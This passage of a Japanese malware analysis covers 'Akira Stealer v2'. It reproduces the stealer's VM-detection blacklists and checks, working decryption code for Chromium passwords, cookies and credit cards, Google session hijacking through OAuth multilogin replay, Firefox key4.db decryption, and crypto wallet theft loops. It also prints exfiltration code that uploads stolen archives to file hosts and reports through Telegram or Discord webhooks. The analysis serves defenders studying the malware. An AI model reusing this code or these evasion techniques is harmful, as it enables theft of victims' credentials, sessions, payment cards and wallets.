'ADEEEE9E-EF0A-6B84-B14B-B83A54AFC548',
'4C4C4544-0050-3710-8058-CAC04F59344A',
'00000000-0000-0000-0000-AC1F6BD04972',
'00000000-0000-0000-0000-000000000000',
'5BD24D56-789F-8468-7CDC-CAA7222CC121',
'49434D53-0200-9065-2500-65902500E439',
'49434D53-0200-9036-2500-36902500F022',
'777D84B3-88D1-451C-93E4-D235177420A7',
'49434D53-0200-9036-2500-369025000C65',
'B1112042-52E8-E25B-3655-6A4F54155DBF',
'00000000-0000-0000-0000-AC1F6BD048FE',
'EB16924B-FB6D-4FA1-8666-17B91F62FB37',
'A15A930C-8251-9645-AF63-E45AD728C20C',
'67E595EB-54AC-4FF0-B5E3-3DA7C7B547E3',
'C7D23342-A5D4-68A1-59AC-CF40F735B363',
'63203342-0EB0-AA1A-4DF5-3FB37DBB0670',
'44B94D56-65AB-DC02-86A0-98143A7423BF',
'6608003F-ECE4-494E-B07E-1C4615D1D93C',
'D9142042-8F51-5EFF-D5F8-EE9AE3D1602A',
'49434D53-0200-9036-2500-369025003AF0',
'8B4E8278-525C-7343-B825-280AEBCD3BCB',
'4D4DDC94-E06C-44F4-95FE-33A1ADA5AC27',
'79AF5279-16CF-4094-9758-F88A616D81B4',
'FE822042-A70C-D08B-F1D1-C207055A488F',
'76122042-C286-FA81-F0A8-514CC507B250',
'481E2042-A1AF-D390-CE06-A8F783B1E76A',
'F3988356-32F5-4AE1-8D47-FD3B8BAFBD4C',
'9961A120-E691-4FFE-B67B-F0E4115D5919'
)
ブラックリスト対象のコンピューター名
BLACKLISTED_COMPUTERNAMES = (
'00900BC83802', 'bee7370c-8c0c-4', 'desktop-nakffmt', 'win-5e07cos9alr',
'b30f0242-1c6a-4', 'desktop-vrsqlag', 'q9iatrkprh', 'xc64zb',
'desktop-d019gdm', 'desktop-wi8clet', 'server1', 'lisa-pc', 'john-pc',
'desktop-b0t93d6', 'desktop-1pykp29', 'desktop-1y2433r', 'wileypc',
'work', '6c4e733f-c2d9-4', 'ralphs-pc', 'desktop-wg3myjs',
'desktop-7xc6gez', 'desktop-5ov9s0o', 'qarzhrdbpj', 'oreleepc',
'archibaldpc', 'julia-pc', 'd1bnjkfvlh', 'compname_5076',
'desktop-vkeons4', 'NTT-EFF-2W11WSS'
)
ブラックリスト対象のユーザーアカウント
BLACKLISTED_USERS = (
'wdagutilityaccount', 'abby', 'peter wilson', 'hmarc', 'patex',
'john-pc', 'rdhj0cnfevzx', 'keecfmwgj', 'frank', '8nl0colnq5bq',
'lisa', 'john', 'george', 'pxmduopvyx', '8vizsm', 'w0fjuovmccp5a',
'lmvwjj9b', 'pqonjhvwexss', '3u2v9m8', 'julia', 'heuerzl',
'harry johnson', 'j.seance', 'a.monaldo', 'tvm'
)
ブラックリスト対象の解析ツールプロセス
BLACKLISTED_TASKS = (
'fakenet', 'dumpcap', 'httpdebuggerui', 'wireshark', 'fiddler',
'vboxservice', 'df5serv', 'vboxtray', 'vmtoolsd', 'vmwaretray',
'ida64', 'ollydbg', 'pestudio', 'vmwareuser', 'vgauthservice',
'vmacthlp', 'x96dbg', 'vmsrvc', 'x32dbg', 'vmusrvc', 'prl_cc',
'prl_tools', 'xenservice', 'qemu-ga', 'joeboxcontrol',
'ksdumperclient', 'ksdumper', 'joeboxserver', 'vmwareservice',
'discordtokenprotector', 'glasswire', 'requestly'
)
中核となる検出メソッド
@staticmethod
def checkUUID() -> bool:
"""WMIC hardware UUID against known VM IDs."""
try:
raw = subprocess.run(
"wmic csproduct get uuid",
shell=True, capture_output=True
).stdout.splitlines()[2].decode(errors='ignore').strip()
except:
raw = ""
return raw in VmProtect.BLACKLISTED_UUIDS
@staticmethod
def checkComputerName() -> bool:
"""ENV %COMPUTERNAME% in VM name list."""
return os.getenv("computername", "").lower() in VmProtect.BLACKLISTED_COMPUTERNAMES
@staticmethod
def checkUsers() -> bool:
"""Current login username in VM users list."""
return os.getlogin().lower() in VmProtect.BLACKLISTED_USERS
@staticmethod
def checkHosting() -> bool:
"""Query ip-api.com/hosting → 'true' indicates cloud VM."""
http = PoolManager(cert_reqs="CERT_NONE")
try:
return http.request(
'GET', 'http://ip-api.com/line/?fields=hosting'
).data.decode().strip() == 'true'
except:
return False
@staticmethod
def checkHTTPSimulation() -> bool:
"""
Attempt TLS to random subdomain.
Failure → possible HTTPS interception/sandbox.
"""
http = PoolManager(cert_reqs="CERT_NONE", timeout=1.0)
try:
http.request('GET', f'https://blank-{Utils.GetRandomString()}.in')
return True
except:
return False
@staticmethod
def checkRegistry() -> bool:
"""
Look for VirtualBox/VMware in:
- Registry driver entries
- Video card name via WMIC
- Presence of VM-specific folders
"""
r1 = subprocess.run(
"REG QUERY HKEY_LOCAL_MACHINE\\SYSTEM\\ControlSet001\\Control\\Class"
"\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\0000\\DriverDesc 2",
shell=True, capture_output=True
)
r2 = subprocess.run(
"REG QUERY HKEY_LOCAL_MACHINE\\SYSTEM\\ControlSet001\\Control\\Class"
"\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\0000\\ProviderName 2",
shell=True, capture_output=True
)
gpu = any(
x.lower() in subprocess.run(
"wmic path win32_VideoController get name",
shell=True, capture_output=True
).stdout.decode().splitlines()[2].lower()
for x in ("virtualbox", "vmware")
)
dirs = any(os.path.isdir(d) for d in ('D:\\Tools','D:\\OS2','D:\\NT3X'))
return (r1.returncode != 1 and r2.returncode != 1) or gpu or dirs
@staticmethod
def killTasks() -> None:
"""Continuously terminate known analysis processes."""
Utils.TaskKill(*VmProtect.BLACKLISTED_TASKS)
7.3.13 実行と中断のロジック
- 初期化:
Akira.__init__()コンストラクター内で、マルウェアはただちにVmProtect.isVM(1)を呼び出し、負荷の小さい素早い仮想化チェック(ホスト名、ユーザー、HTTPSシミュレーションなど)を行います。 - 詳細な検査: 最初のテストを通過すると
VmProtect.isVM(2)を呼び出し、ハードウェアUUIDの検証、ip-api.comによるホスティングの検出、レジストリの痕跡スキャンを含む、より網羅的なチェックを実行します。 - 中断の経路: いずれかのチェックが
Trueを返し、仮想環境または解析環境であると示された場合、コードはsys.exit()を実行し、データ収集や窃取のルーチンに入る前に実行を終了します。
7.3.14 結論
Akira Stealer v2 の VmProtect モジュールは、ローカルシステムのフィンガープリントとネットワークベースのヒューリスティックの双方を活用した、解析に対する多層防御を体現しています。これらの精緻なチェックを理解し計測できるようにすれば、防御側は形勢を逆転させ、こうした回避型マルウェアを実運用環境で検出できます。
7.4 ブラウザーデータの窃取
Akira Stealer v2の中核的な目的の1つが、ブラウザーに保存された機微なデータの大規模な抽出です。このマルウェアは、Chromiumベース と Geckoベース(Firefox) の双方のブラウザーを狙う専用モジュールを実装しています。その能力は、保存されたパスワード、Cookie、クレジットカード情報、自動入力エントリ、さらにはアカウントの完全な乗っ取りに転用できるセッショントークンの抽出と復号にまで及びます。
1. 作業領域の準備
client_dir = Utils.get_temp_folder() # e.g., C:\Windows\Temp\DESKTOP-1234
os.makedirs(client_dir, exist_ok=True)
for sub in ("Passwords","Cookies","CreditCards","History","Autofill","Wallets"):
os.makedirs(os.path.join(client_dir, sub), exist_ok=True)
- システムの一時ディレクトリの下に、被害者のマシン名を冠した使い捨ての中継領域(%TEMP%\DESKTOP-
)を作成し、窃取した成果物をすべて1か所にまとめてアーカイブしやすくします。 - データを種類ごとに分離します。専用のサブフォルダーを6つ(Passwords、Cookies、CreditCards、History、Autofill、Wallets)用意することで名前の衝突を防ぎ、後のZIP化を簡単にします。各抽出ルーチンは自分のフォルダーにのみ書き込みます。
- ディレクトリ作成は exist_ok=True によりべき等です。そのためマルウェアが再実行されても(再起動時や永続化による実行など)クラッシュしたり既存データを上書きしたりせず、新しい項目が同じ構造に追加されるだけです。
- 選択的なクリーンアップを容易にします。アップロードと通知が完了すると、スティーラーは Utils.clear_client_folder() を呼び出して自分の作業領域だけを再帰的に削除でき、残留ファイルを一切残しません。
- 並列の抽出スレッドへの下地にもなります。対象をあらかじめ作成しておくことで、ブラウザーの認証情報、Cookie、自動入力、暗号通貨ウォレットのデータなどを収集するバックグラウンドスレッドは、追加のチェックなしにただちに結果を書き込めます。これによりオーバーヘッドが減り、防御側のフックが予期しないファイルI/Oを検出する余地も小さくなります。
2. 対応ブラウザー
- Chromiumベース
- Google Chrome(Stable版とSxS版)
- Microsoft Edge
- Brave Browser
- Opera と Opera GX
- Chromium
- Comodo Dragon
- Epic Privacy Browser
- Iridium Browser
- UR Browser
- Vivaldi Browser
- Yandex Browser
- Slimjet、Amigo、Torch、Kometa、Orbitum、CentBrowser、7Star、Sputnik、Uran
- Firefoxベース(
GeckoDriver経由)- Mozilla Firefox
- Waterfox
- Pale Moon
Akiraは、環境変数と広く知られたディレクトリ構造を使ってユーザープロファイルを動的に特定します。user_path = os.path.join(os.getenv("LOCALAPPDATA"), "Google", "Chrome", "User Data")DefaultやProfile 1などの利用可能なブラウザープロファイルを再帰的に調べ、それらのパス配下にあるSQLiteデータベースを標的にします。
7.4.1 抽出されるデータの種類
| データの種類 | 取得元ファイル | 備考 |
|---|---|---|
| 保存されたパスワード | Login Data(Chromium) |
DPAPIまたはAES-GCM(Chromium v80以降)で復号される |
| Cookie | Cookies |
特にGoogle/Facebookアカウントについて、セッショントークンを含みうる |
| 自動入力データ | Web Data |
住所、メールアドレス、電話番号など |
| クレジットカード | Web Data |
暗号化されている。マスターキーが必要 |
| セッショントークン | メモリ上とCookie | Gmail、Googleアカウント、DiscordのOAUTHリプレイを含む |
| 履歴とURL | History、Visited Links |
これらも攻撃者へ窃取された |
3. 抽出モジュール マルウェア作者がブラウザーを標的にするとき、その主な宝庫は、Chrome、Firefoxおよびその同系統が認証情報、Cookie、履歴、自動入力エントリを保存する各種のSQLiteデータベースです。astor.pyは、軽量なPythonとネイティブAPIを組み合わせ、あらゆるデータを痕跡を残さず整然と抜き取り、さらにはライブのOAuthセッションのリプレイまで行います。以下は、コードそのままに沿った、モジュール単位の詳細なめぐり方です。
7.4.2 パスワードダンパー (Chromium.GetPasswords)
このモジュールは、Chromiumベースのすべてのブラウザープロファイルを体系的に探索し、保存されたログイン認証情報を抽出します。Login DataのSQLiteデータベースを標的にしてユーザー名と暗号化されたパスワードを取り出し、プラットフォームの暗号鍵(DPAPIまたはAES-GCM経由で取得)を使って平文に復号します。これらの認証情報は、侵害後の横展開やアカウント乗っ取りにおいて非常に価値があります。
for root, _, files in os.walk(self.BrowserPath):
for file in files:
if file.lower() == "login data":
# Copy DB → open → extract rows
results = cursor.execute(
"SELECT origin_url, username_value, password_value FROM logins"
).fetchall()
for url, user, pwd_blob in results:
clear_pwd = self.Decrypt(pwd_blob, encryptionKey)
passwords.append((url, user, clear_pwd))
- ブラウザーの
User Dataフォルダー配下にあるすべてのLogin DataSQLiteデータベースを 特定 します。 - ブラウザーのロックを避けるため一時ファイルに コピー します。
- SQLクエリ:
SELECT origin_url, username_value, password_value FROM logins。 - 各
password_valueブロブを、AES-GCM(v10/v11)またはWindows DPAPIのフォールバックで 復号 します。 - 出力を
Passwords/<BrowserName> Passwords.txtに 書き込み ます。
7.4.3 クレジットカードダンパー (Chromium.GetCreditCards)
ここでスティーラーは、各ブラウザープロファイルのWeb Dataファイルから保存されたクレジットカード情報にアクセスします。有効期限の詳細と暗号化されたカード番号の抽出に重点を置き、パスワードと同じロジックで復号します。CVVコードは通常保存されていませんが、復元された情報はカード非提示(card-not-present)詐欺に悪用されるおそれがあります。
results = cursor.execute(
"SELECT expiration_month, expiration_year, card_number_encrypted FROM credit_cards"
).fetchall()
for month, year, enc_cc in results:
cc_number = self.Decrypt(enc_cc, encryptionKey)
ccs.append((cc_number, month, year))
- 各プロファイル配下の
Web DataSQLiteストアを 標的 にします。 - SQLクエリ:
SELECT expiration_month, expiration_year, card_number_encrypted FROM credit_cards。 card_number_encryptedを、パスワードブロブとまったく同じ要領で 復号 します。CreditCards/<BrowserName> CreditCards.txtに 出力 します。
7.4.4 Cookieダンパー (Chromium.GetCookies)
Cookie、特にセッションCookieは、パスワードなしのアカウント乗っ取りにおける格好の標的です。このモジュールはプロファイルをまたいですべてのCookieファイルをダンプし、復号したうえで、ドメイン、名前、有効期限といった重要なメタデータを収集します。フィンガープリンティングと組み合わせれば、これらのCookieは認証済みサービスに対するシームレスなリプレイ攻撃を可能にします。
results = cursor.execute(
"SELECT host_key, name, path, encrypted_value, expires_utc FROM cookies"
).fetchall()
for host, name, path, blob, expiry in results:
cookie_val = self.Decrypt(blob, encryptionKey)
cookies.append((host, name, path, cookie_val, expiry))
- すべての
CookiesSQLiteデータベースを 走査 します。 host_key, name, path, encrypted_value, expires_utcを 選択 します。- 各
encrypted_valueブロブを 復号 し、実際のCookie文字列を露わにします。 Cookies/<BrowserName> Cookies.txtに 保存 します。
7.4.5 Googleセッションダンパー (Chromium.dump_google_sessions)
より高度なコンポーネントの1つであるこのルーチンは、token_serviceテーブルから保存されたOAuthトークンを復号します。それらをGoogleのmultiloginエンドポイント経由でリプレイすることで、マルウェアは有効なセッションCookieを再生成でき、攻撃者は認証情報なしにGoogleアカウントを乗っ取れます。これは、現代のスティーラーにおいてアクセストークンが格好の標的になっていることを物語っています。
cursor.execute("SELECT service, encrypted_token FROM token_service")
for service, blob in cursor.fetchall():
iv = blob[3:15]
ciphertext = blob[15:-16]
cipher = AES.new(secret_key, AES.MODE_GCM, iv)
token = cipher.decrypt(ciphertext).decode()
# Replays via POST to OAuth endpoint
response = requests.post(
"https://accounts.google.com/oauth/multilogin",
headers={"Authorization": f"MultiBearer {token}:{service_id}"},
data={"source": "com.google.Drive"}
)
save each account’s cookies to file
Web Dataのクローンからserviceと生のencrypted_tokenを 取得 します。- ブラウザーの
Local Stateキーを使って AES-GCM復号 します。 - 復号したトークンをGoogleの
multiloginAPIへのPOSTで リプレイ し、有効なOAuth Cookieを再構築します。 - アカウントごとのセッションファイルを
Cookies/<display_email> Google Session.txtに 書き込み ます。
7.4.6 履歴ダンパー (Chromium.GetHistory)
この関数は、URL、タイトル、訪問頻度を含む閲覧履歴エントリを抽出します。プライバシー侵害にとどまらず、このデータは攻撃者が被害者の行動を把握し、価値の高い標的(銀行ポータルなど)を特定し、あるいはソーシャルエンジニアリングのペイロードを仕立てるのに役立ちます。
results = cursor.execute(
"SELECT url, title, visit_count, last_visit_time FROM urls"
).fetchall()
history.sort(key=lambda x: x[3], reverse=True)
return [(url, title, count) for url, title, count, _ in history]
- すべての
HistoryDBからurl, title, visit_count, last_visit_timeを 選択 します。 - エントリを
last_visit_timeの降順で 並べ替え ます。 History/<BrowserName> History.txtに 出力 します。
7.4.7 自動入力ダンパー (Chromium.GetAutofills)
住所、氏名、メールアドレス、時には決済関連データといった自動入力エントリが、ブラウザーのWeb Dataストレージから抜き取られます。これらの値は一見重要でなさそうに見えますが、集約すると被害者の身元と行動に関する豊かなプロファイルを与えてしまいます。
results = cursor.execute(
"SELECT name, value FROM autofill"
).fetchall()
for field, value in results:
autofills.append((field.strip(), value.strip()))
web dataファイルからフォーム入力エントリname, valueを 取得 します。Autofill/<BrowserName> Autofill.txtとして 書き出し ます。
7.4.8 Firefoxプロファイルグラバー (GeckoDriver と grabFirefoxProfiles)
きめ細かなChromiumのルーチンとは異なり、この関数は大づかみなアプローチを取ります。保存されたログイン、Cookie、ブックマークを含むFirefoxプロファイルディレクトリ全体を圧縮し、まるごと窃取します。これにより攻撃者は、既知のNSSツールで復号のハードルを回避しつつ、データをオフラインで解析・抽出できます。
with zipfile.ZipFile(zip_path, 'w') as zipf:
for root, dirs, files in os.walk(source_path):
zipf.write(each file)
# Upload via GoFile/File.io, then POST via attacker webhooks
%APPDATA%\Mozilla\Firefox\Profilesディレクトリ全体を ZIP化 します。- それを
%TEMP%\<ComputerName>_Firefox_profiles.zipと 名付け、同じWebhookチャネル経由でダウンロードリンクを送ります。 - さらに、すでに備わっているNSS復号ルーチンを使い、各Firefoxプロファイルに対して同じSQLiteベースの抽出関数(
logins.json、cookies.sqlite、places.sqlite)を呼び出します。
7.4.9 抽出のまとめ
Astor.pyは、ChromiumベースとFirefoxのクライアントをまたいで、あらゆる認証情報とセッションの成果物を体系的に収集することで、包括的なブラウザー侵害を統括します。各SQLiteストア(Login Data、Web Data、Cookies、History、autofill)を特定して安全にコピーし、標的を絞ったSQLクエリを実行して、URL、ユーザー名、パスワード、クレジットカードの詳細、Cookie、閲覧履歴、フォーム入力エントリを抽出します。パスワードと決済データはAES-GCM(またはWindows DPAPIのフォールバック)で復号され、Cookieも同様に展開されて平文の値が露わになります。Googleアカウントについては、token_service の暗号化されたOAuthトークンが復号され、multilogin APIに対してリプレイされてライブのセッションCookieが再生成されます。最後に、Firefoxプロファイルは(logins.json、cookies.sqlite、places.sqlite を含めて)まるごとアーカイブされ、ZIPとして送り出されるため、成果物が一切残りません。このエンドツーエンドのパイプラインは %TEMP%\<ComputerName> の下で静かに動作し、データのカテゴリーごとに整然と整理された出力ファイルを生成します。
7.5 復号のロジック
ChromeやEdgeといった現代のブラウザーは、パスワード、Cookie、クレジットカードの詳細といった機微なデータをローカルに保存する前に暗号化します。Akiraには、Chromiumの旧来と現行の双方の暗号化方式を扱えるよう作られた復号ルーチンが組み込まれています。これにより、システムのパッチレベルやブラウザーのバージョンにかかわらず、平文のデータを抽出できます。
この処理の核心は、Local Stateというファイルに保存されたブラウザーのマスター暗号鍵の抽出と復号です。ブラウザーのバージョンとWindowsのビルドに応じて、Akiraは適切な復号方式を動的に選択します。
DPAPI(Data Protection API)は、Chromeが現在のユーザーのWindows資格情報で保護した秘密を保存する旧来のシステムで使われます。
AES-GCMは、ランダムに生成されたマスター鍵自体がDPAPIで暗号化され、それがアプリ内でのユーザーデータ暗号化に使われる現行のChromiumビルドで使われます。
まずLocal Stateのマスター鍵を復号することで、Akiraはブラウザーのあらゆる秘密を解錠する能力を得ます。これが、認証情報、トークン、Cookieなどの抽出への道を開きます。
鍵の抽出
local_state_path = os.path.join(user_path, "Local State")
with open(local_state_path, "r", encoding="utf-8") as f:
local_state = json.load(f)
master_key = base64.b64decode(local_state["os_crypt"]["encrypted_key"])
復号(AES-GCM):
nonce = value[3:15]
ciphertext = value[15:-16]
tag = value[-16:]
cipher = AES.new(aes_key, AES.MODE_GCM, nonce=nonce)
decrypted = cipher.decrypt_and_verify(ciphertext, tag)
(旧来のシステムで)DPAPIへのフォールバックが必要な場合は、win32crypt.CryptUnprotectData() を使います。
decrypt_password_blob の説明:
この関数は、Akira StealerがChromiumベースのブラウザーから保存された各パスワード値をどう復号するかを示しています。次の2つのケースを扱います。
- Windows DPAPIブロブ(旧来の、またはGCMで暗号化されていないデータ): システムコール
CryptUnprotectDataにフォールバックします。これはユーザーのWindows資格情報を使って復号します。 - AES-GCMで暗号化されたブロブ(Chrome v10/v11形式): バージョンヘッダーを解析し、IVと認証タグを取り出し、
cryptographyライブラリを使ってペイロードを安全に復号します。
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.backends import default_backend
def decrypt_password_blob(buffer: bytes, key: bytes) -> str:
"""
Decrypts a Chrome password blob using either DPAPI or AES-GCM.
Parameters:
- buffer: raw encrypted blob from the `password_value` field
- key: the master AES key retrieved via DPAPI from Local State
Returns:
- Decrypted UTF-8 plaintext password
"""
# 1) DPAPI fallback for non-AES-GCM blobs
if not buffer.startswith((b'v10', b'v11')):
# Uses Windows CryptUnprotectData under the hood
return CryptUnprotectData(buffer)
# 2) AES-GCM decryption for Chrome v10/v11 format:
# Bytes layout:
# [0:3] = version header ('v10'/'v11')
# [3:15] = initialization vector (IV)
# [15:-16] = ciphertext payload
# [-16:] = GCM authentication tag
iv = buffer[3:15]
ciphertext = buffer[15:-16]
tag = buffer[-16:]
# Initialize AES-GCM cipher with extracted IV and tag
cipher = Cipher(
algorithms.AES(key),
modes.GCM(iv, tag),
backend=default_backend()
)
decryptor = cipher.decryptor()
# Perform decryption; raises if authentication fails
plaintext = decryptor.update(ciphertext) + decryptor.finalize()
# Decode to UTF-8, ignoring any stray errors
return plaintext.decode('utf-8', errors='ignore')
7.6 セッショントークンの乗っ取り
Akiraは受動的なデータ収集にとどまらず、ライブのセッショントークンを能動的に乗っ取り、被害者になりすましてリアルタイムに行動します。ブラウザーのストレージから暗号化されたトークンを抽出した後、必要な認可ヘッダーを再構築し、GoogleのOAuthエンドポイントに対して MultiLogin リクエストをリプレイします。以下のコード断片はこの処理を示しています。
# Build SAPISIDHASH header for Google services
origin = "https://accounts.google.com"
timestamp = int(time.time())
# Compute SHA1 of "timestamp origin SAPISID"
payload = f"{timestamp} {origin} {sap_id_cookie}".encode()
signature = hashlib.sha1(payload).hexdigest()
headers = {
"Authorization": f"SAPISIDHASH {timestamp}_{signature}",
"Content-Type": "application/json"
}
# Replay MultiLogin to fetch valid session cookies
response = requests.post(
"https://accounts.google.com/accounts/multilogin",
headers=headers,
json={"continue": "https://mail.google.com"}
)
if response.status_code == 200:
# Victim’s cookies now present in response.cookies
hijacked_cookies = response.cookies
このリクエストをリプレイすることで、Akiraは有効なセッションで保護されたユーザーのGmail、Drive、その他あらゆるGoogleサービスになりすませます。認証情報は不要です。この手法はGoogle自身のトークン受理ロジックを利用するため、正規のクライアントの振る舞いとほとんど見分けがつきません。
7.7 Firefoxの復号
FirefoxのようなGeckoベースのブラウザーは、保存された認証情報とCookieを key4.db に保存されたマスター鍵で暗号化します。Akiraには、MozillaのNSSロジックを模した簡素化された復号ルーチンが含まれており、マスターパスワードのプロンプトを発生させずに3DESとAES-CBCの双方の方式を扱います。使用例は次のとおりです。
# Load global Salt and encrypted item from key4.db
db = sqlite3.connect(profile_path + "/key4.db")
cursor = db.cursor()
cursor.execute("SELECT item1, item2 FROM metadata WHERE id = 'password'")
global_salt, item2 = cursor.fetchone()
# Decode DER structure and derive key
decoded, _ = der_decode(item2)
entry_salt = decoded[0][1][0].asOctets()
cipher_text = decoded[1].asOctets()
# Derive 3DES key
key = derive_3des_key(global_salt, master_password, entry_salt)
iv = decoded[0][1][1].asOctets()
# Decrypt credentials
cipher = DES3.new(key, DES3.MODE_CBC, iv)
clear_password = unpad(cipher.decrypt(cipher_text))
print("Decrypted Firefox password:", clear_password)
このルーチンにより、Akiraは各Firefoxプロファイルの logins.json、cookies.sqlite、places.sqlite を透過的にダンプし、復号した出力を次の場所に書き込めます。
Passwords/Firefox_<ProfileName> Passwords.txt
Cookies/Firefox_<ProfileName> Cookies.txt
History/Firefox_<ProfileName> History.txt
このアプローチはユーザーレベルのマスターパスワードのチェックを迂回し、保存されたすべての認証情報への無制限のアクセスをスティーラーに与えます。*
4. ファイル構造と命名
<ComputerName>.zip
└── <ComputerName>\
├── Passwords\
│ ├── Chrome Passwords.txt
│ ├── Edge Passwords.txt
│ └── …
├── Cookies\
│ ├── Chrome Cookies.txt
│ ├── Edge Cookies.txt
│ ├── user@example.com Google Session.txt
│ └── …
├── CreditCards\
│ ├── Chrome CreditCards.txt
│ └── …
├── History\
│ ├── Chrome History.txt
│ └── …
├── Autofill\
│ ├── Chrome Autofill.txt
│ └── …
└── Wallets\
├── Firefox_Default_profiles.zip
├── Firefox_Profile1_profiles.zip
└── …
- 各
.txtは、一貫したヘッダー(<================[Akira Stealer v2]>================>)と区切り線(====…====)で始まります。 - ディスク上のZIP:
%TEMP%\<ComputerName>.zip。 - C&Cのファイル名ラベル:
Akira-<username>.zip。
5. 窃取とクリーンアップ
url = Webhook.uploadToGofile(zip_path)
if not url:
url = Webhook.uploadFileio(zip_path) or Webhook.uploadToOshiAt(zip_path)
Webhook.sendDataTG(zip_path, chatId, startup)
Utils.clear_client_folder()
- 主チャネル(GoFile.io): マルウェアはまず、窃取した成果物をすべて含むZIPアーカイブをGoFile.ioにアップロードしようとし、JSONレスポンスを解析して、攻撃者にアーカイブへの直接アクセスを与える
downloadPageURLを取り出します。 - 自動フォールバック: GoFileのエンドポイントが失敗した場合(ネットワークタイムアウト、レート制限など)、コードはシームレスに
file.ioにフォールバックし、それも空のリンクを返した場合は最終的にoshi.atにフォールバックします。いずれの代替も例外を発生させずに呼び出され、3つのサービスのいずれかが必ず順に試されるようになっています。 - Webhookによる報告: URL(あるいは失敗が続いた場合は空文字列)が確定すると、
Webhook.sendDataTG(...)が呼び出され、ダウンロードリンク、マシン識別子(chatId、startupフラグ)、そしてすべてのカテゴリー件数(パスワード、Cookie、自動入力、ウォレット)を1つのDiscordまたはTelegramメッセージにまとめます。 - 即時のクリーンアップ: 報告の後、
Utils.clear_client_folder()が一時作業領域全体とZIPファイル自体を再帰的に削除し、収集したデータやアーカイブの痕跡をディスク上に一切残しません。
障害への耐性:
- すべてのアップロードルーチンは失敗時に例外を投げるのではなく
""を返し、コードの流れが確実に継続するようにします。- すべてのサービスに到達できない場合でも、マルウェアはローカルの成果物を消去する前に(リンクが欠けた状態ではあれ)Webhookの報告を送信し、プロセスが予期せずクラッシュしない限りフォレンジック上の残留を最小化します。
6. 堅牢性とエラー処理
- きめ細かな例外処理:
shutil.copy、SQLiteクエリ、ZIP操作など、あらゆるファイルシステムとのやり取りがtry/exceptブロックで包まれています。エラーが発生すると(DBのロック、権限拒否、不正なレコードなど)、例外は捕捉されてAkira.logErrorTg()経由で記録され、実行は継続します。障害はその特定のファイルやモジュールに封じ込められます。 - ブラウザーごとのスレッド分離: 対応する各ブラウザーの抽出ルーチンは、それぞれ独立したスレッドで動作します。このマルチスレッド設計により、あるブラウザーの抽出でのクラッシュやデッドロック(破損したプロファイル、鍵の欠落など)が、他のブラウザーの解析を止めたり遅らせたりしないようになっています。
- 静かなフォールバックと既定値: 代替のファイルホストへのアップロード、リモートリソースの確認、サブプロセスの起動といった多くの補助ルーチンは、表面的なアラートを出さずに入れ子の
try/exceptを用い、ステルス性を最大化します。既定値(空文字列、ブール値)は、流れを途切れさせず明白なエラー状態を取り除くように選ばれています。 - ミューテックスと起動時のガード: 名前付きミューテックス(
1qsMlseJplTlArIF14f)が多重起動を防ぎ、レジストリのチェックとUtils.CreateMutex()が同時実行を防ぐことで、実運用での配備時にさらなる安定性をもたらします。
7.8 ウォレットとトークンの窃取
このフェーズでAkira Stealer v2は、ブラウザー拡張機能、デスクトップウォレット、メッセージングのトークン、そしてライブのキーロギングにまたがって、暗号通貨の認証情報とセッショントークンに対する最も包括的な掃討を行います。並列スレッドで実行され、どの経路も取りこぼしません。以下は、コードに基づくステップバイステップの詳細な掘り下げです。
7.8.1 ブラウザー拡張機能のウォレット
標的: MetaMask、Phantom、Trust Wallet、Coinbase Wallet、Solflare、Exodus、Binance Chain Wallet、Keplr、Nami、TronLink、Rabby、Talismanなど、主要なブラウザーにまたがる80を超える拡張機能。
# Hardcoded list of extension IDs and human-friendly names
walletsExtensions = [
["MetaMask", "nkbihfbeogaeaoehlefnkodbefgpgknn"],
["Phantom", "bfnaelmomeimhlpmgjnjophhpkkoljpa"],
["TrustWallet", "egjidjbpglichdcondbcbdnbeeppgdph"],
["CoinbaseWallet", "hfhmhopkfngkjcalldmaepmpilmjjemb"],
["Solflare", "bhhhlbepdkbapadjdnnojkbgioiodbic"],
["BinanceChain", "fhbohimaelbohpjbbldcngcnapndodjp"],
["Keplr", "dmkamcknogkgcdfhhbddcghachkejeap"],
["Nami", "lpfcbjknijpeeillifnkikgncikgfhdo"],
["Talisman", "fijngjgcjhjmmpcmkeiomlglpeiijkld"],
["TronLink", "ibnejdfjmmkpcnlpebklmnkoeoihofec"],
# ... plus dozens more mapped in code
]
# Extraction loop for each browser profile
for browser_name, (user_data, proc_name) in paths.items():
base = os.path.join(user_data, "Default", "Local Extension Settings")
for ext_name, ext_id in walletsExtensions:
src = os.path.join(base, ext_id)
if os.path.isdir(src):
dest = os.path.join(Utils.get_temp_folder(), "Wallets", f"{ext_name}_{browser_name}")
shutil.copytree(src, dest, dirs_exist_ok=True)
data.ext_wallets_count += 1
- コピーされるファイル: 暗号化された鍵、シードフレーズ、ログイン認証情報を含む、拡張機能固有のIndexedDB、LevelDB、JSON、設定ファイル。
- 出力先フォルダー:
Wallets/MetaMask_Chrome/、Wallets/Phantom_Edge/など。
7.8.2 デスクトップウォレットアプリケーション
標的: Electrum、Exodus、Atomic Wallet、Guarda、Rabby、Coinomi、Zcash、Armory、Bytecoin、Jaxx、Coinomiなど、主要なデスクトップクライアント。
walletsDesktop = [
["Electrum", os.path.join(os.getenv('APPDATA'), "Electrum", "wallets")],
["Exodus", os.path.join(os.getenv('APPDATA'), "Exodus", "exodus.wallet")],
["AtomicWallet", os.path.join(os.getenv('LOCALAPPDATA'), "atomic", "Local Storage", "leveldb")],
["Guarda", os.path.join(os.getenv('APPDATA'), "Guarda", "Local Storage", "leveldb")],
["Rabby", os.path.join(os.getenv('APPDATA'), "rabby-desktop")],
["Coinomi", os.path.join(os.getenv('APPDATA'), "Coinomi", "wallets")],
]
for name, path in walletsDesktop:
if os.path.isdir(path):
Utils.TaskKill(name.lower())
dest = os.path.join(Utils.get_temp_folder(), "Wallets", name)
shutil.copytree(path, dest, dirs_exist_ok=True)
data.desktop_wallets_count += 1
- 窃取されるデータ: キーストアファイル(
*.dat、*.json)、秘密鍵のエクスポート、ウォレットの設定、取引履歴。 - 利点: 攻撃者が取引を承認するのに使える、オフラインのウォレットの内容。
7.8.3 Discordトークンの収集
Discordトークンは認証の成果物であり、本質的には長寿命のベアラートークンです。ユーザーの認証情報やMFAを必要とせずにアカウントへの完全なアクセスを与えてしまいます。Akiraはこれを悪用し、Discord Stable、Canary、PTB(Public Test Build)、さらにはLightcordのような改変フォークを含むさまざまなDiscordクライアントが保存したトークンを求めて、ブラウザーやアプリのデータフォルダーを走査します。
